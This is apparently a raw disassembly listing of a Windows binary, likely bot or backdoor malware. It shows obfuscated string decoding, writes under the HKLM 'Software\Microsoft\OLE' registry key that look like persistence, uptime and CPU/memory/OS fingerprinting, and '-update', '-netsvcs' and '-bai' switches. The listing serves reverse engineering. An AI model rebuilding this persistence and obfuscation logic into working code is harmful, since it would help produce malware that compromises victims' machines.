		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23DAFD7h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0AE91E890h, 448D023Dh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0AD51E890h
		dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	0E89050FFh, 23EA09Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 9050FFFFh
		dd 3DAC02E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
		dd 90023E9Fh, 56A006Ah,	56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DAAC3h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		call	near ptr 27E0B37h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27E0B37h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 2820000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2810000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 2801125h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2920C76h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


